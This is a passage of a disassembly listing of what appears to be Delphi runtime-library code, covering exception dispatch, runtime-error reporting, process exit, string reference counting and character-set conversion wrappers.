CODE XREF: sub_20003868+7j retn sub_20003868 endp ; =============== S U B R O U T I N E ======================================= sub_20003884 proc near ; CODE XREF: CODE:loc_20003BE1p push eax push edx cmp ds:byte_20014024, 1 jbe short loc_2000389F push esp push 2 push 0 push 0EEDFAE3h call ds:dword_20015014 loc_2000389F: ; CODE XREF: sub_20003884+9j pop edx pop eax retn sub_20003884 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_200038A4(struct _EXCEPTION_POINTERS ExceptionInfo, int, int, int, int, int, int, int, int) sub_200038A4 proc near ; CODE XREF: sub_20003765j ; sub_20003C54:loc_20003C9Aj ... ExceptionInfo = _EXCEPTION_POINTERS ptr 4 arg_8 = dword ptr 0Ch arg_24 = dword ptr 28h mov eax, [esp+ExceptionInfo.ExceptionRecord] test dword ptr [eax+4], 6 jnz loc_200039C8 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_20003931 cld call sub_20003458 mov edx, ds:dword_20015010 test edx, edx jz loc_200039C8 call edx ; dword_20015010 test eax, eax jz loc_200039C8 mov edx, [esp+arg_8] mov ecx, [esp+ExceptionInfo.ExceptionRecord] cmp dword ptr [ecx], 0EEFFACEh jz short loc_20003928 call sub_200037D0 cmp ds:byte_20014028, 0 jbe short loc_20003928 cmp ds:byte_20014024, 0 ja short loc_20003928 lea ecx, [esp+ExceptionInfo] push eax push ecx ; ExceptionInfo call UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_200039C8 mov edx, eax mov eax, [esp+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] jmp short loc_20003958 ; --------------------------------------------------------------------------- loc_20003928: ; CODE XREF: sub_200038A4+4Bj ; sub_200038A4+59j ... mov edx, eax mov eax, [esp+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] loc_20003931: ; CODE XREF: sub_200038A4+1Dj cmp ds:byte_20014028, 1 jbe short loc_20003958 cmp ds:byte_20014024, 0 ja short loc_20003958 push eax lea eax, [esp+4+ExceptionInfo] push edx push ecx push eax ; ExceptionInfo call UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_200039C8 loc_20003958: ; CODE XREF: sub_200038A4+82j ; sub_200038A4+94j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+ExceptionInfo.ContextRecord] push 0 push eax push offset loc_2000397C push edx call ds:dword_20015018 loc_2000397C: ; DATA XREF: sub_200038A4+CCo mov edi, [esp+arg_24] call sub_20005C00 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_200039A8 add ebx, 5 call sub_2000380C jmp ebx ; --------------------------------------------------------------------------- loc_200039A8: ; DATA XREF: sub_200038A4+F3o jmp loc_200039D0 ; --------------------------------------------------------------------------- call sub_20005C00 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_200034F4 ; --------------------------------------------------------------------------- loc_200039C8: ; CODE XREF: sub_200038A4+Bj ; sub_200038A4+2Dj ... mov eax, 1 retn sub_200038A4 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_200019A8 loc_200039D0: ; CODE XREF: sub_200019A8:loc_20001A5Ej ; sub_20001A6C:loc_20001B42j ... mov eax, [esp+4] mov edx, [esp+arg_0] test dword ptr [eax+4], 6 jz short loc_20003A00 mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_20003A00 push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_20003840 call ecx pop ebp pop edi pop esi pop ebx loc_20003A00: ; CODE XREF: sub_200019A8+2037j ; DATA XREF: sub_200019A8+203Co mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_200019A8 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003A08 proc near ; CODE XREF: sub_20006F08+19p ; sub_2000A71C+4Bj ... or eax, eax jnz short loc_20003A16 mov eax, 0D8h call sub_20003F9C ; --------------------------------------------------------------------------- loc_20003A16: ; CODE XREF: sub_20003A08+2j pop edx push esp push ebp push edi push esi push ebx push eax push edx push esp push 7 push 1 push 0EEDFADEh push edx jmp ds:dword_20015014 sub_20003A08 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20003A30 proc near ; CODE XREF: CODE:loc_20003783p ; sub_20003C54+50p ... arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_20003A7B call sub_20005C00 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_20003A6A mov eax, [edx+8] call sub_200034F4 call sub_200037B4 loc_20003A6A: ; CODE XREF: sub_20003A30+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_20003A7B: ; DATA XREF: sub_20003A30+4o mov eax, 1 retn sub_20003A30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003A84 proc near ; CODE XREF: sub_20003C54+55p ; sub_20003CB4+55p ... arg_2C = dword ptr 30h call sub_20005C00 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+8] call sub_200034F4 pop edx mov esp, [esp-4+arg_2C] xor eax, eax pop ecx mov fs:[eax], ecx pop eax pop ebp call sub_20003868 jmp edx sub_20003A84 endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20003AB4 proc near ; CODE XREF: sub_20002094+F5p ; sub_20002094+14Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 xor edx, edx mov ecx, [esp+arg_4] mov eax, [esp+arg_0] add ecx, 5 mov fs:[edx], eax call ecx retn 0Ch sub_20003AB4 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_20003ACC: ; CODE XREF: CODE:20003BCCj ; CODE:20003BD8j push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [edx] cmp eax, 0C0000092h jg short loc_20003B07 jz short loc_20003B39 cmp eax, 0C000008Eh jg short loc_20003AF9 jz short loc_20003B3D sub eax, 0C0000005h jz short loc_20003B49 sub eax, 87h jz short loc_20003B31 dec eax jz short loc_20003B45 jmp short loc_20003B59 ; --------------------------------------------------------------------------- loc_20003AF9: ; CODE XREF: CODE:20003AE2j add eax, 3FFFFF71h sub eax, 2 jb short loc_20003B39 jz short loc_20003B35 jmp short loc_20003B59 ; --------------------------------------------------------------------------- loc_20003B07: ; CODE XREF: CODE:20003AD9j cmp eax, 0C0000096h jg short loc_20003B1F jz short loc_20003B4D sub eax, 0C0000093h jz short loc_20003B45 dec eax jz short loc_20003B2D dec eax jz short loc_20003B41 jmp short loc_20003B59 ; --------------------------------------------------------------------------- loc_20003B1F: ; CODE XREF: CODE:20003B0Cj sub eax, 0C00000FDh jz short loc_20003B55 sub eax, 3Dh jz short loc_20003B51 jmp short loc_20003B59 ; --------------------------------------------------------------------------- loc_20003B2D: ; CODE XREF: CODE:20003B18j mov al, 0C8h jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B31: ; CODE XREF: CODE:20003AF2j mov al, 0C9h jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B35: ; CODE XREF: CODE:20003B03j mov al, 0CDh jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B39: ; CODE XREF: CODE:20003ADBj ; CODE:20003B01j mov al, 0CFh jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B3D: ; CODE XREF: CODE:20003AE4j mov al, 0C8h jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B41: ; CODE XREF: CODE:20003B1Bj mov al, 0D7h jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B45: ; CODE XREF: CODE:20003AF5j ; CODE:20003B15j mov al, 0CEh jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B49: ; CODE XREF: CODE:20003AEBj mov al, 0D8h jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B4D: ; CODE XREF: CODE:20003B0Ej mov al, 0DAh jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B51: ; CODE XREF: CODE:20003B29j mov al, 0D9h jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B55: ; CODE XREF: CODE:20003B24j mov al, 0CAh jmp short loc_20003B5B ; --------------------------------------------------------------------------- loc_20003B59: ; CODE XREF: CODE:20003AF7j ; CODE:20003B05j ... mov al, 0FFh loc_20003B5B: ; CODE XREF: CODE:20003B2Fj ; CODE:20003B33j ... and eax, 0FFh mov edx, [edx+0Ch] call sub_200026F8 ; --------------------------------------------------------------------------- pop ebp retn 4 ; --------------------------------------------------------------------------- loc_20003B6C: ; DATA XREF: sub_20003C0C+Do mov eax, [esp+4] test dword ptr [eax+4], 6 jnz loc_20003C06 cmp ds:byte_20014024, 0 ja short loc_20003B95 lea eax, [esp+4] push eax call UnhandledExceptionFilter cmp eax, 0 jz short loc_20003C06 loc_20003B95: ; CODE XREF: CODE:20003B84j mov eax, [esp+4] cld call sub_20003458 mov edx, [esp+8] push 0 push eax push offset loc_20003BB2 push edx call ds:dword_20015018 loc_20003BB2: ; DATA XREF: CODE:20003BA6o mov ebx, [esp+4] cmp dword ptr [ebx], 0EEDFADEh mov edx, [ebx+14h] mov eax, [ebx+18h] jz short loc_20003BE1 mov edx, ds:dword_20015010 test edx, edx jz loc_20003ACC mov eax, ebx call edx ; dword_20015010 test eax, eax jz loc_20003ACC mov edx, [ebx+0Ch] loc_20003BE1: ; CODE XREF: CODE:20003BC2j call sub_20003884 mov ecx, ds:dword_20015004 test ecx, ecx jz short loc_20003BF2 call ecx ; dword_20015004 loc_20003BF2: ; CODE XREF: CODE:20003BEEj mov ecx, [esp+4] mov eax, 0D9h mov edx, [ecx+14h] mov [esp], edx jmp sub_20003F9C ; --------------------------------------------------------------------------- loc_20003C06: ; CODE XREF: CODE:20003B77j ; CODE:20003B93j xor eax, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003C0C proc near ; CODE XREF: sub_20003D14+2Ep xor edx, edx lea eax, [ebp-0Ch] mov ecx, fs:[edx] mov fs:[edx], eax mov [eax], ecx mov dword ptr [eax+4], offset loc_20003B6C mov [eax+8], ebp mov ds:dword_20015634, eax retn sub_20003C0C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003C2C proc near ; CODE XREF: sub_20003EB8:loc_20003F42p xor edx, edx mov eax, ds:dword_20015634 test eax, eax jz short locret_20003C53 mov ecx, fs:[edx] cmp eax, ecx jnz short loc_20003C46 mov eax, [eax] mov fs:[edx], eax retn ; --------------------------------------------------------------------------- loc_20003C44: ; CODE XREF: sub_20003C2C+21j mov ecx, [ecx] loc_20003C46: ; CODE XREF: sub_20003C2C+10j cmp ecx, 0FFFFFFFFh jz short locret_20003C53 cmp [ecx], eax jnz short loc_20003C44 mov eax, [eax] mov [ecx], eax locret_20003C53: ; CODE XREF: sub_20003C2C+9j ; sub_20003C2C+1Dj retn sub_20003C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20003C54 proc near ; CODE XREF: sub_20003C54+4Bp ; sub_20003CB4+4Bp ... push ebp mov ebp, esp push ebx push esi push edi mov edi, offset dword_20015630 mov eax, [edi+8] test eax, eax jz short loc_20003CAE mov ebx, [edi+0Ch] mov esi, [eax+4] xor edx, edx push ebp push offset loc_20003C9A push dword ptr fs:[edx] mov fs:[edx], esp test ebx, ebx jle short loc_20003C90 loc_20003C7E: ; CODE XREF: sub_20003C54+3Aj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_20003C8C call eax loc_20003C8C: ; CODE XREF: sub_20003C54+34j test ebx, ebx jg short loc_20003C7E loc_20003C90: ; CODE XREF: sub_20003C54+28j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_20003CAE ; --------------------------------------------------------------------------- loc_20003C9A: ; DATA XREF: sub_20003C54+1Bo jmp sub_200038A4 ; --------------------------------------------------------------------------- call sub_20003C54 call sub_20003A30 call sub_20003A84 loc_20003CAE: ; CODE XREF: sub_20003C54+10j ; sub_20003C54+44j pop edi pop esi pop ebx pop ebp retn sub_20003C54 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20003CB4 proc near ; CODE XREF: sub_20003D14+3Ap push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:dword_20015638 test eax, eax jz short loc_20003D0E mov esi, [eax] xor ebx, ebx mov edi, [eax+4] xor edx, edx push ebp push offset loc_20003CFA push dword ptr fs:[edx] mov fs:[edx], esp cmp esi, ebx jle short loc_20003CF0 loc_20003CDC: ; CODE XREF: sub_20003CB4+3Aj mov eax, [edi+ebx*8] inc ebx mov ds:dword_2001563C, ebx test eax, eax jz short loc_20003CEC call eax loc_20003CEC: ; CODE XREF: sub_20003CB4+34j cmp esi, ebx jg short loc_20003CDC loc_20003CF0: ; CODE XREF: sub_20003CB4+26j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_20003D0E ; --------------------------------------------------------------------------- loc_20003CFA: ; DATA XREF: sub_20003CB4+19o jmp sub_200038A4 ; --------------------------------------------------------------------------- call sub_20003C54 call sub_20003A30 call sub_20003A84 loc_20003D0E: ; CODE XREF: sub_20003CB4+Dj ; sub_20003CB4+44j pop edi pop esi pop ebx pop ebp retn sub_20003CB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003D14 proc near ; CODE XREF: sub_20005C4C+3Ap mov ds:dword_20015014, offset RaiseException mov ds:dword_20015018, offset RtlUnwind mov ds:dword_20015638, eax xor eax, eax mov ds:dword_2001563C, eax mov ds:dword_20015640, edx mov eax, [edx+4] mov ds:dword_2001502C, eax call sub_20003C0C mov ds:byte_20015034, 0 call sub_20003CB4 retn sub_20003D14 endp ; =============== S U B R O U T I N E ======================================= sub_20003D54 proc near ; CODE XREF: CODE:2000C11Bp push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_20003D60: ; CODE XREF: sub_20003D54+1Fj mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add edx, ebx call sub_20005994 add esi, 8 dec edi jnz short loc_20003D60 pop esi pop edi pop ebx retn sub_20003D54 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003D7C proc near ; CODE XREF: CODE:2000C125p push ebx xor ebx, ebx push edi push esi mov edi, [eax+ebx] lea esi, [eax+ebx+4] loc_20003D88: ; CODE XREF: sub_20003D7C+1Ej mov eax, [esi+4] mov edx, [esi] mov eax, [eax+ebx] add eax, [esi+8] mov [edx+ebx], eax add esi, 0Ch dec edi jnz short loc_20003D88 pop esi pop edi pop ebx retn sub_20003D7C endp ; =============== S U B R O U T I N E ======================================= sub_20003DA0 proc near ; CODE XREF: sub_20003EB8+38p push ebx push esi push edi mov esi, offset Text ; "Runtime error at 00000000" mov cl, 10h mov ebx, ds:dword_20014000 loc_20003DB0: ; CODE XREF: sub_20003DA0+33j mov eax, ebx mov edi, 0Ah cdq idiv edi add dl, 30h xor eax, eax mov al, cl mov [esi+eax], dl mov eax, ebx mov ebx, 0Ah cdq idiv ebx mov ebx, eax dec ecx test ebx, ebx jnz short loc_20003DB0 mov cl, 1Ch mov eax, ds:dword_20014004 loc_20003DDC: ; CODE XREF: sub_20003DA0+54j mov edx, eax and edx, 0Fh mov dl, ds:byte_200140AC[edx] xor ebx, ebx mov bl, cl mov [esi+ebx], dl shr eax, 4 dec ecx test eax, eax jnz short loc_20003DDC pop edi pop esi pop ebx retn sub_20003DA0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003DFC proc near ; CODE XREF: sub_20003EB8+9Ep xor eax, eax xchg eax, ds:dword_20014000 neg eax sbb eax, eax inc eax mov edi, offset dword_20015630 mov ebx, [edi+18h] mov ebp, [edi+14h] push dword ptr [edi+1Ch] push dword ptr [edi+20h] mov esi, [edi] mov ecx, 0Bh rep movsd pop edi pop esi leave retn 0Ch sub_20003DFC endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003E2C proc near ; CODE XREF: sub_20003EB8+3Dp NumberOfBytesWritten= dword ptr -4 push ecx cmp ds:byte_20015044, 0 jz short loc_20003E8D cmp ds:word_20015218, 0D7B2h jnz short loc_20003E55 cmp ds:dword_20015220, 0 jbe short loc_20003E55 mov eax, offset dword_20015214 call ds:dword_20015230 loc_20003E55: ; CODE XREF: sub_20003E2C+13j ; sub_20003E2C+1Cj push 0 ; lpOverlapped lea eax, [esp+8+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push 1Eh ; nNumberOfBytesToWrite push offset Text ; "Runtime error at 00000000" push 0FFFFFFF5h ; nStdHandle call GetStdHandle push eax ; hFile call WriteFile push 0 ; lpOverlapped lea eax, [esp+8+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push 2 ; nNumberOfBytesToWrite push offset dword_20003EB4 ; lpBuffer push 0FFFFFFF5h ; nStdHandle call GetStdHandle push eax ; hFile call WriteFile pop edx retn ; --------------------------------------------------------------------------- loc_20003E8D: ; CODE XREF: sub_20003E2C+8j cmp ds:byte_2001402C, 0 jnz short loc_20003EA9 push 0 ; uType push offset Caption ; "Error" push offset Text ; "Runtime error at 00000000" push 0 ; hWnd call MessageBoxA loc_20003EA9: ; CODE XREF: sub_20003E2C+68j pop edx retn sub_20003E2C endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_20003EB4 dd 0A0Dh ; DATA XREF: sub_20003E2C+4Do ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_20003EB8 proc near ; CODE XREF: sub_20003F90+5p ; CODE:200134B8p push ebx push esi push edi push ebp mov ebx, offset dword_20015630 mov esi, offset dword_20014000 mov edi, offset dword_20015040 cmp byte ptr [ebx+28h], 0 jnz short loc_20003EE7 cmp dword ptr [edi], 0 jz short loc_20003EE7 loc_20003ED6: ; CODE XREF: sub_20003EB8+2Dj mov edx, [edi] mov eax, edx xor edx, edx mov [edi], edx mov ebp, eax call ebp cmp dword ptr [edi], 0 jnz short loc_20003ED6 loc_20003EE7: ; CODE XREF: sub_20003EB8+17j ; sub_20003EB8+1Cj cmp ds:dword_20014004, 0 jz short loc_20003F01 call sub_20003DA0 call sub_20003E2C xor eax, eax mov ds:dword_20014004, eax loc_20003F01: ; CODE XREF: sub_20003EB8+36j ; sub_20003EB8+CEj cmp byte ptr [ebx+28h], 2 jnz short loc_20003F11 cmp dword ptr [esi], 0 jnz short loc_20003F11 xor eax, eax mov [ebx+0Ch], eax loc_20003F11: ; CODE XREF: sub_20003EB8+4Dj ; sub_20003EB8+52j call sub_20003C54 cmp byte ptr [ebx+28h], 1 jbe short loc_20003F21 cmp dword ptr [esi], 0 jz short loc_20003F42 loc_20003F21: ; CODE XREF: sub_20003EB8+62j mov eax, [ebx+10h] test eax, eax jz short loc_20003F42 call sub_20005484 mov edx, [ebx+10h] mov eax, [edx+10h] cmp eax, [edx+4] jz short loc_20003F42 test eax, eax jz short loc_20003F42 push eax ; hLibModule call FreeLibrary loc_20003F42: ; CODE XREF: sub_20003EB8+67j ; sub_20003EB8+6Ej ... call sub_20003C2C cmp byte ptr [ebx+28h], 1 jnz short loc_20003F50 call dword ptr [ebx+24h] loc_20003F50: ; CODE XREF: sub_20003EB8+93j cmp byte ptr [ebx+28h], 0 jz short loc_20003F5B call sub_20003DFC loc_20003F5B: ; CODE XREF: sub_20003EB8+9Cj cmp dword ptr [ebx], 0 jnz short loc_20003F77 cmp ds:dword_20015024, 0 jz short loc_20003F6F call ds:dword_20015024 loc_20003F6F: ; CODE XREF: sub_20003EB8+AFj mov eax, [esi] push eax ; uExitCode call ExitProcess ; --------------------------------------------------------------------------- loc_20003F77: ; CODE XREF: sub_20003EB8+A6j mov eax, [ebx] push esi mov esi, eax mov edi, ebx mov ecx, 0Bh rep movsd pop esi jmp loc_20003F01 sub_20003EB8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop ebp pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_20003F90 proc near ; CODE XREF: sub_200026F8+6p ; sub_20003F9C+6j mov ds:dword_20014000, eax call sub_20003EB8 sub_20003F90 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_20003F9C proc near ; CODE XREF: sub_20002988+14j ; sub_20003A08+9p ... pop ds:dword_20014004 jmp sub_20003F90 sub_20003F9C endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20003FA8 proc near ; CODE XREF: sub_20002928+Fp ; sub_20004098+23p ... mov edx, [eax] test edx, edx jz short locret_20003FCA mov dword ptr [eax], 0 mov ecx, [edx-8] dec ecx jl short locret_20003FCA lock dec dword ptr [edx-8] jnz short locret_20003FCA push eax lea eax, [edx-8] call sub_20002688 pop eax locret_20003FCA: ; CODE XREF: sub_20003FA8+4j ; sub_20003FA8+10j ... retn sub_20003FA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003FCC proc near ; CODE XREF: sub_2000493C+56p ; sub_20008C00+77Bp ... push ebx push esi mov ebx, eax mov esi, edx loc_20003FD2: ; CODE XREF: sub_20003FCC+2Aj mov edx, [ebx] test edx, edx jz short loc_20003FF2 mov dword ptr [ebx], 0 mov ecx, [edx-8] dec ecx jl short loc_20003FF2 lock dec dword ptr [edx-8] jnz short loc_20003FF2 lea eax, [edx-8] call sub_20002688 loc_20003FF2: ; CODE XREF: sub_20003FCC+Aj ; sub_20003FCC+16j ... add ebx, 4 dec esi jnz short loc_20003FD2 pop esi pop ebx retn sub_20003FCC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20003FFC proc near ; CODE XREF: sub_2000424C+8j ; sub_20004290+6j ... test edx, edx jz short loc_20004024 mov ecx, [edx-8] inc ecx jg short loc_20004020 push eax push edx mov eax, [edx-4] call sub_2000406C mov edx, eax pop eax push edx mov ecx, [eax-4] call sub_200027FC pop edx pop eax jmp short loc_20004024 ; --------------------------------------------------------------------------- loc_20004020: ; CODE XREF: sub_20003FFC+8j lock inc dword ptr [edx-8] loc_20004024: ; CODE XREF: sub_20003FFC+2j ; sub_20003FFC+22j xchg edx, [eax] test edx, edx jz short locret_2000403E mov ecx, [edx-8] dec ecx jl short locret_2000403E lock dec dword ptr [edx-8] jnz short locret_2000403E lea eax, [edx-8] call sub_20002688 locret_2000403E: ; CODE XREF: sub_20003FFC+2Cj ; sub_20003FFC+32j ... retn sub_20003FFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20004040 proc near ; CODE XREF: sub_20008990+58p ; sub_20008AF8+57p ... test edx, edx jz short loc_2000404E mov ecx, [edx-8] inc ecx jle short loc_2000404E lock inc dword ptr [edx-8] loc_2000404E: ; CODE XREF: sub_20004040+2j ; sub_20004040+8j xchg edx, [eax] test edx, edx jz short locret_20004068 mov ecx, [edx-8] dec ecx jl short locret_20004068 lock dec dword ptr [edx-8] jnz short locret_20004068 lea eax, [edx-8] call sub_20002688 locret_20004068: ; CODE XREF: sub_20004040+12j ; sub_20004040+18j ... retn sub_20004040 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2000406C proc near ; CODE XREF: sub_20003FFC+Fp ; sub_20004098+Bp ... test eax, eax jle short loc_20004094 push eax add eax, 0Ah and eax, 0FFFFFFFEh push eax call sub_20002668 pop edx mov word ptr [edx+eax-2], 0 add eax, 8 pop edx mov [eax-4], edx mov dword ptr [eax-8], 1 retn ; --------------------------------------------------------------------------- loc_20004094: ; CODE XREF: sub_2000406C+2j xor eax, eax retn sub_2000406C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004098 proc near ; CODE XREF: sub_20002928+2Fp ; sub_20004104+4Ep ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx mov eax, edi call sub_2000406C mov ecx, edi mov edi, eax test esi, esi jz short loc_200040B9 mov edx, eax mov eax, esi call sub_200027FC loc_200040B9: ; CODE XREF: sub_20004098+16j mov eax, ebx call sub_20003FA8 mov [ebx], edi pop edi pop esi pop ebx retn sub_20004098 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_200040C8(LPCWSTR lpWideCharStr, int cbMultiByte, int cchWideChar) sub_200040C8 proc near ; CODE XREF: sub_20004104+3Bp ; sub_20004104+6Bp cchWideChar = dword ptr 8 push ebp mov ebp, esp push 0 ; lpUsedDefaultChar push 0 ; lpDefaultChar push edx ; cbMultiByte push eax ; lpMultiByteStr mov eax, [ebp+cchWideChar] push eax ; cchWideChar push ecx ; lpWideCharStr push 0 ; dwFlags mov eax, ds:CodePage push eax ; CodePage call WideCharToMultiByte pop ebp retn 4 sub_200040C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_200040E8(LPCSTR lpMultiByteStr, int cchWideChar, int cbMultiByte) sub_200040E8 proc near ; CODE XREF: sub_200046C4+3Bp ; sub_200046C4+69p cbMultiByte = dword ptr 8 push ebp mov ebp, esp push edx ; cchWideChar push eax ; lpWideCharStr mov eax, [ebp+cbMultiByte] push eax ; cbMultiByte push ecx ; lpMultiByteStr push 0 ; dwFlags mov eax, ds:CodePage push eax ; CodePage call MultiByteToWideChar pop ebp retn 4 sub_200040E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; int __fastcall sub_20004104(int cchWideChar) sub_20004104 proc near ; CODE XREF: sub_200041D0:loc_20004203j ; sub_20004230:loc_2000423Bj lpWideCharStr = dword ptr -1014h var_1010 = byte ptr -1010h push ebx push esi push edi push ebp add esp, 0FFFFF004h push eax add esp, 0FFFFFFFCh mov esi, ecx mov [esp+1014h+lpWideCharStr], edx mov edi, eax test esi, esi jg short loc_20004126 mov eax, edi call sub_20003FA8 jmp short loc_20004185 ; --------------------------------------------------------------------------- loc_20004126: ; CODE XREF: sub_20004104+17j lea ebp, [esi+1] cmp ebp, 7FFh jge short loc_20004159 push esi ; cchWideChar lea eax, [esp+1018h+var_1010] mov ecx, [esp+1018h+lpWideCharStr] ; lpWideCharStr mov edx, 0FFFh ; cbMultiByte call sub_200040C8 mov ebx, eax test ebx, ebx jl short loc_20004159 lea edx, [esp+1014h+var_1010] mov eax, edi mov ecx, ebx call sub_20004098 jmp short loc_20004185 ; --------------------------------------------------------------------------- loc_20004159: ; CODE XREF: sub_20004104+2Bj ; sub_20004104+44j mov ebx, ebp add ebx, ebx mov eax, edi mov edx, ebx call sub_200045D0 push esi ; cchWideChar mov eax, [edi] mov ecx, [esp+1018h+lpWideCharStr] ; lpWideCharStr mov edx, ebx ; cbMultiByte call sub_200040C8 mov ebx, eax test ebx, ebx jge short loc_2000417C xor ebx, ebx loc_2000417C: ; CODE XREF: sub_20004104+74j mov eax, edi mov edx, ebx call sub_200045D0 loc_20004185: ; CODE XREF: sub_20004104+20j ; sub_20004104+53j add esp, 1004h pop ebp pop edi pop esi pop ebx retn sub_20004104 endp ; =============== S U B R O U T I N E ======================================= sub_20004190 proc near ; CODE XREF: sub_2000A060+8Dp ; sub_2000A060+190p ... push edx mov edx, esp mov ecx, 1 call sub_20004098 pop edx retn sub_20004190 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200041A0 proc near ; CODE XREF: sub_20005994+48p ; sub_20008990+10Dp ... xor ecx, ecx test edx, edx jz short loc_200041C7 push edx loc_200041A7: ; CODE XREF: sub_200041A0+1Dj cmp cl, [edx] jz short loc_200041C2 cmp cl, [edx+1] jz short loc_200041C1 cmp cl, [edx+2] jz short loc_200041C0 cmp cl, [edx+3] jz short loc_200041BF add edx, 4 jmp short loc_200041A7 ; --------------------------------------------------------------------------- loc_200041BF: ; CODE XREF: sub_200041A0+18j inc edx loc_200041C0: ; CODE XREF: sub_200041A0+13j inc edx loc_200041C1: ; CODE XREF: sub_200041A0+Ej inc edx loc_200041C2: ; CODE XREF: sub_200041A0+9j mov ecx, edx pop edx sub ecx, edx loc_200041C7: ; CODE XREF: sub_200041A0+4j jmp sub_20004098 sub_200041A0 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200041D0 proc near ; CODE XREF: sub_2000DD44+3E5p ; DATA XREF: sub_200079D6:loc_20007B08o xor ecx, ecx test edx, edx jz short loc_20004203 push edx loc_200041D7: ; CODE XREF: sub_200041D0+21j cmp cx, [edx] jz short loc_200041FC cmp cx, [edx+2] jz short loc_200041F9 cmp cx, [edx+4] jz short loc_200041F6 cmp cx, [edx+6] jz short loc_200041F3 add edx, 8 jmp short loc_200041D7 ; --------------------------------------------------------------------------- 